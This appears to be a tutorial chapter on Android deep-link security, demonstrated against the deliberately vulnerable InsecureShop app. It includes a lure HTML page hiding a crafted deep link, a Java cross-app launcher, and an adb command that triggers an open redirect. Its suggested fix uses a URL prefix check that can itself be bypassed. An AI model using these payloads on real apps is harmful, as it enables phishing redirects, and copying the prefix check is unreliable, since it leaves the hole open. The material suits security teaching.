Linking with Confidence: Securing Deep Links in Android Applications

13 min read

August 4, 2024

Securing Android: An In-Depth Exploration
Linking with Confidence: Securing Deep Links in Android Applications

Table of contents

Introduction

Welcome to an in-depth exploration of deep links in Android! Deep links are powerful tools that allow web and mobile applications to direct users to specific content within an app, bypassing the main page. Mastering the intricacies of deep links is essential not only for enhancing user experience but also for identifying and mitigating security vulnerabilities. This chapter will equip you with the knowledge to exploit and secure deep links, ensuring your applications are resilient against potential threats such as open redirects and cross-app attacks.

Key Takeaways:

  1. Types of Deep Links: Traditional Deep Links and App Links (Universal Links) direct users to specific app content.
  2. Configuring Deep Links: Register deep links in the AndroidManifest.xml file to define which activities to open.
  3. Detecting Vulnerabilities: Use static and dynamic analysis to identify broad configurations and improper data handling.
  4. Exploitation Example: Demonstrate vulnerabilities using a vulnerable app ("InsecureShop") and create a malicious webpage.
  5. Preventing Vulnerabilities: Validate and sanitize URL parameters, restrict broad intent filters, implement user confirmation, and use secure WebView settings.

Deep Links in Android

Deep links in Android are URLs that allow web and mobile applications to direct users to specific content within an app rather than the main page. They work similarly to web links in a browser but open a specific view or activity within a mobile app instead of a webpage.

There are two main types of deep links in Android:

  1. Traditional Deep Links: These links take the user directly to a specific part of the app if the app is already installed. An example of a traditional deep link is myapp://details?id=123, where myapp is the URL scheme registered by the app, and details?id=123 is the path and parameters indicating the specific content to be displayed.
  2. App Links (Universal Links): Introduced in Android 6.0 (Marshmallow), these links work for users who have the app installed as well as those who don’t. If the app is installed, the link opens the app directly to the corresponding view. If not, the user is redirected to the app store to download it. An example of an app link is https://www.example.com/details?id=123, where example.com is the domain verified by the app.
Deeplink Vulnerability Example

The primary difference between App Links and traditional deep links in Android is that App Links use standard HTTP or HTTPS URLs, allowing them to function whether or not the app is installed on the user's device. If the app is installed, App Links open the app directly; if not, they open in a web browser or redirect the user to the app store. In contrast, traditional deep links use custom URL schemes and only work if the app is already installed, failing to function properly otherwise.

To use deep links in an Android application, it's necessary to register them in the AndroidManifest.xml file. This registration allows the Android system to know which activities to open when a specific deep link is clicked.

<activity android:name=".DetailActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>

        <!-- URL scheme for traditional deep link -->
        <data android:scheme="myapp" android:host="details" />
    </intent-filter>
</activity>

For an App Link:

<activity android:name=".DetailActivity">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>

        <!-- URL pattern for app link -->
        <data android:scheme="https" android:host="www.example.com" android:pathPrefix="/details" />
    </intent-filter>
</activity>

A summary of what the different fields mean is as follows:

  • Activity Declaration: Specifies which activity handles the deep link. Example: <activity android:name=".DetailActivity">.
  • Intent Filter: Defines the criteria for starting the activity. Includes actions, categories, and data elements.
  • Action: android.intent.action.VIEW indicates the activity can handle view actions, suitable for deep links.
  • Categories:android.intent.category.DEFAULT: Ensures the intent can be matched by the system.android.intent.category.BROWSABLE: Allows the link to be opened from a web browser or other apps.
  • Data:Traditional Deep Links: <data android:scheme="myapp" android:host="details" /> specifies a custom URL scheme and host.App Links: <data android:scheme="https" android:host="www.example.com" android:pathPrefix="/details" /> specifies a web URL pattern.
  • Auto Verify: android:autoVerify="true" (for App Links) directs the system to verify the app’s association with the domain, ensuring the app handles the URL if installed.

Poorly configured deep links can introduce significant security vulnerabilities to an application. Understanding these weaknesses is crucial for identifying potential exploitation points. Let’s explore an example of such a configuration and understand why it's problematic.

Here’s an example from the AndroidManifest.xml:

AndroidManifest.xml:

<activity android:name=".DetailActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        
        <!-- Overly broad URL scheme and path pattern -->
        <data android:scheme="myapp" android:host="*" android:pathPattern=".*"/>
    </intent-filter>
</activity>

This setup is problematic because it uses overly broad filters. Specifically, android:host="*" and android:pathPattern=".*" allow any host and any path to trigger the activity, which is too permissive and can inadvertently expose sensitive parts of the app.

In the corresponding activity, the handling of the deep link might look like this:

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_detail);

    // Handle the intent
    Intent intent = getIntent();
    Uri data = intent.getData();
    if (data != null) {
        String itemId = data.getQueryParameter("id");
        // Directly use itemId without validation
        // Redirect based on user input
        String redirectUrl = data.getQueryParameter("redirect");
        if (redirectUrl != null) {
            Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(redirectUrl));
            startActivity(browserIntent);
        }
    }
}

Here, several issues arise. First, the itemId parameter is used directly without any validation, opening the door to injection attacks if malicious data is provided. Second, the redirectUrl parameter allows for redirection based on user input without validation, creating an open redirect vulnerability which can be exploited for phishing attacks.

To identify poorly configured deep links, both static and dynamic analysis are necessary.

Static Analysis involves reviewing the AndroidManifest.xml file and the activity code. Look for intent filters with overly broad configurations, such as android:host="*" or android:pathPattern=".*". These are too permissive and should be avoided. Additionally, scrutinize how data from the intent is handled within the activity.

Dynamic Analysis involves testing the app by crafting various deep links to observe its behavior. For example, you might use a link like myapp://unauthorized/path to test if the app improperly grants access to restricted areas. Another test could involve myapp://details?id=123&redirect=http://malicious-site.com to check for open redirect vulnerabilities.

DeepLink Exploitation

Installing the vulnerable application

To demonstrate the attack, I will use a vulnerable application called "InsecureShop." The installation process is quite straightforward using ADB:

adb connect <ip>
adb install <apk>
Releases · hax0rgb/InsecureShop
An Intentionally designed Vulnerable Android Application built in Kotlin. - hax0rgb/InsecureShop

Static Analysis

Next, to determine if the application is vulnerable to DeepLink, we can start with a brief static analysis of the code. To do this, we first need to decompile the APK. As we've done in previous chapters of this series, we can use tools like apkx for this purpose. This tool will allow us to access the entire code of the APK.

apkx InsecureShop.apk
GitHub - skylot/jadx: Dex to Java decompiler
Dex to Java decompiler. Contribute to skylot/jadx development by creating an account on GitHub.

Alternatively, you can use jadx, another APK decompiler. The advantage of this tool is that it features a GUI, allowing you to interact directly with the Java code. To start the decompilation process, simply navigate to File -> Open File and select the APK.

Open the APK with Jadx

After this, as I mentioned earlier, we should first inspect the AndroidManifest.xml file to check the configuration of the DeepLinks. Upon doing this, I noticed that the WebViewActivity specifies the scheme and host but not the path. Because of this, if the code managing the activity doesn't implement proper controls over the link parameters, it could lead to vulnerabilities such as open redirects.

Vulnerable WebViewActivity

To locate the code for the activity, we can search for "WebViewActivity" using the search function in jadx by navigating to Navigation -> Text Search. Once the activity is found, we can examine the configuration used to invoke it.

Settings that can make the Webview more vulnerable

The two most important settings are setJavaScriptEnabled and setAllowUniversalAccessFromFileURLs.

  • setJavaScriptEnabled: This setting determines whether JavaScript is enabled within the WebView. Enabling JavaScript (setJavaScriptEnabled(true)) allows for interactive features and enhanced functionality in web content. However, it also opens up the risk of Cross-Site Scripting (XSS) attacks if not properly managed.
  • setAllowUniversalAccessFromFileURLs: This setting controls whether JavaScript running in a file URL context can access content from any origin, including other file URLs or remote servers. While it can be useful for certain functionalities, enabling this setting (setAllowUniversalAccessFromFileURLs(true)) can introduce severe security risks, such as arbitrary file access and cross-context scripting.
Vulnerable Code

The code snippet is responsible for managing the WebView in the application, specifically handling different URI paths and loading URLs. Let's break down the functionality and discuss potential security implications.

  1. URI Handling:
    • The code first checks the URI path provided in the intent. It distinguishes between two specific paths: /web and /webview.
    • If the path is /webview, the code retrieves the url query parameter from the intent's data using getQueryParameter("url").
  2. Domain Validation:
    • The application checks if the extracted URL ends with the domain insecureshopapp.com. This check aims to ensure that the URL belongs to a trusted domain.
    • If the URL passes this domain validation, it is assigned to the data variable.
  3. WebView Loading:
    • If the data variable is not null, the URL is loaded into the WebView using webview.loadUrl(data);.
    • Additionally, the URL is saved in the application preferences using Prefs.INSTANCE.getInstance(this).setData(data);.

The code's domain validation only checks if the URL ends with insecureshopapp.com. This method can be bypassed if an attacker crafts a URL such as http://malicious-site.com?url=http://insecureshopapp.com. This can lead to an open redirect vulnerability, where the user might be redirected to a malicious site, potentially compromising their data or security.

Dynamic Analysis

At this point, we have a solid understanding of how to exploit deeplinks within the application. Now, let's proceed to exploit the vulnerability. To do this, we will create a webpage containing a link that we control, which needs to be clicked by the victim. The link will be a specially crafted deeplink that, when clicked, will trigger the vulnerable activity in the insecureShop application. This deeplink will cause the app to load a URL of our choosing, potentially redirecting the user to a malicious site or triggering other unintended actions within the app.

Attack Diagram

With this purpose in mind, I'll use the following HTML code for the webpage. As you can see, it simply displays a GIF of Pikachu. However, when the user clicks on this GIF, they will be redirected to the insecureShop application via a deeplink.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Super Secure Site</title>
</head>
<body>
        <h1>Click Here!</h1>
    <a href="insecureshop://com.insecureshop/web?url=https://kayssel.com">
        <img src="https://i.pinimg.com/originals/1f/0b/85/1f0b85bb750807778b1fe2444527fbd2.gif" alt="Pikachu GIF" width="200">
    </a>
</body>
</html>

In this example, the a tag contains a link with a custom URI scheme (insecureshop://) that is intended to trigger the InsecureShop application. The url parameter points to the malicious site (https://kayssel.com). When a user clicks the Pikachu GIF, they will be redirected to this URL within the InsecureShop app, demonstrating how an open redirect can be exploited to direct users to potentially harmful sites.

Evidence of the vulnerable application

Cross App Attacks

This Proof of Concept (PoC) demonstrates how to exploit the vulnerability using an open redirect attack. However, there are other types of attacks that can also be performed. For instance, an attacker could create another mobile application designed to launch the vulnerable activity in the insecureShop app. This type of attack is known as a "Cross-App" attack and operates in a similar manner.

In a Cross-App attack, the malicious app triggers the deeplink in the target application, potentially leading users to malicious websites or extracting sensitive data. This attack leverages the fact that deeplinks can be invoked by external applications, making it a powerful vector for exploitation.

There are two ways to simulate this attack. The first method, which is the most realistic, involves creating another app using Java. However, this approach is time-consuming and will not be demonstrated here. Nonetheless, here's a basic example of how such an implementation might look:


import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

public class LaunchDeeplinkActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // The deeplink URL to trigger
        String deeplinkUrl = "insecureshop://com.insecureshop/web?url=https://malicious-site.com";

        // Create an intent to trigger the deeplink
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse(deeplinkUrl));

        // Check if the intent can be handled
        if (intent.resolveActivity(getPackageManager()) != null) {
            startActivity(intent);
        } else {
            // Handle the situation where the app is not installed or cannot handle the deeplink
            System.out.println("No application can handle this intent.");
        }

        // Optionally finish the activity if no UI is needed
        finish();
    }
}

The second method involves simulating the attack using ADB, which is quicker and more practical for our demonstration purposes. The following ADB command can be used to trigger the same Deeplink from a connected device or emulator:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://kayssel.com"
ADB starting the new activity
Webpage loaded into the webview

This command starts an intent with the action android.intent.action.VIEW and the specified data URI. It effectively simulates the deeplink being triggered by another application or a browser. This approach is particularly useful for testing and demonstrating vulnerabilities without the need to develop a separate app.

Securing Deep Links in Android

After exploring how deep links work and understanding the various attacks that can exploit them, let's now focus on how to secure them effectively. Here are two critical strategies to ensure secure deep link handling:

Validate and Sanitize URL Parameters: Ensure all parameters extracted from deep links are validated and sanitized to prevent injection attacks. This involves checking that the URL parameters conform to expected formats and originate from trusted sources.

Uri data = intent.getData();
if (data != null) {
    String url = data.getQueryParameter("url");
    if (url != null && url.startsWith("https://trusted-domain.com")) {
        webview.loadUrl(url);
    } else {
        webview.loadUrl("https://trusted-domain.com/error");
    }
}

Use Strict Intent Filters: Configure intent filters narrowly in the AndroidManifest.xml to limit which URLs can trigger activities. This reduces the risk of unauthorized deep links activating sensitive parts of your app.

<activity android:name=".DetailActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="myapp" android:host="details"/>
    </intent-filter>
</activity>

Conclusions

In this chapter, we delved into the workings of deep links in Android, highlighting their power to direct users to specific content within an app. We examined the two main types of deep links—Traditional Deep Links and App Links —and learned how they enhance user experience by providing seamless navigation to app-specific content.

However, with these conveniences come potential security risks. We explored various vulnerabilities associated with deep links, such as open redirects and cross-app attacks, and demonstrated how these can be exploited through both static and dynamic analysis. Using the "InsecureShop" app as a case study, we illustrated how attackers could manipulate improperly configured deep links to compromise user data and application integrity.

To mitigate these risks, we emphasized the importance of securing deep links through rigorous validation and sanitization of URL parameters, the use of strict intent filters, and implementing user confirmations for actions leading outside the app. Ensuring all URLs use HTTPS further protects against man-in-the-middle attacks, and regularly reviewing and updating security practices helps keep vulnerabilities at bay.

Resources

Chapters

Botón Anterior
Mastering Android Activity Hacking: Techniques and Tools

Previous chapter

Cracking Android Biometric Authentication with Frida

Next chapter